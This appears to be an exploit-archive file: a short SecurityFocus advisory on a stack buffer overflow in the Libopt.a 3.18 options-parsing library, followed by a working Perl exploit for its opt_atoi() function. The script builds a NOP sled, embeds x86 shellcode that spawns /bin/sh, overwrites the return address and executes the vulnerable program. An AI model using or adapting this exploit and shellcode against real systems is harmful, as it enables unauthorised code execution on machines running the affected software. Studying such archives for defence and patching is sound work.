880bbe402e
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63 lines
No EOL
2.3 KiB
Perl
Executable file
63 lines
No EOL
2.3 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/7433/info
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Libopt library has been reported prone to a buffer overflow vulnerability.
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It has been reported that several Libopt.a error logging functions, may be prone to buffer overflow vulnerabilities when handling excessive data. The data may be supplied as an argument to a program linked to the vulnerable library. This condition arises from a lack of sufficient bounds checking performed on the user-supplied data, before it is copied into a memory buffer. As a result the bounds of an internal stack-based memory buffer may be overflowed and adjacent memory corrupted with attacker supplied data. It should be noted that no SUID applications linked to this library are currently known.
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Although unconfirmed this vulnerability may be exploited to execute arbitrary attacker supplied code.
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It should be noted that although this vulnerability was reported to affect Libopt.a version 3.18 previous versions might also be affected.
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#!/usr/bin/perl
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#
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# expl-optatoi.pl : opt_atoi() function exploit (from Options Parsing
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# Tool shared library opt-3.18 and prior) for this vulnerable code.
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#
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# vuln.c :
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# main(int *argc, char **argv)
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# {
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# /* use OPT opt_atoi() */
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# int y = opt_atoi(argv[1]);
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# printf("opt_atoi(): %i\n", y);
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# }
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#
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# cc -o vuln vuln.c /path/to/opt-3.18/src/libopt.a
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#
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# Author :
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# jlanthea [contact@jlanthea.net]
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#
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# Syntax :
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# perl expl-optatoi.pl <offset> # works for me with offset = -1090
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$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
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"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
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"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
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"\xff\xff/bin/sh";
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$len = 1032; # The length needed to own EIP.
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$ret = 0xbffff6c0; # The stack pointer at crash time
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$nop = "\x90"; # x86 NOP
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$offset = 0; # Default offset to try.
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if (@ARGV == 1) {
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$offset = $ARGV[0];
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}
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for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
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$buffer .= $nop;
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}
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$buffer .= $shellcode;
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print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
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$new_ret = pack('l', ($ret + $offset));
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for ($i += length($shellcode); $i < $len; $i += 4) {
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$buffer .= $new_ret;
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}
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exec("/path/to/vuln $buffer"); |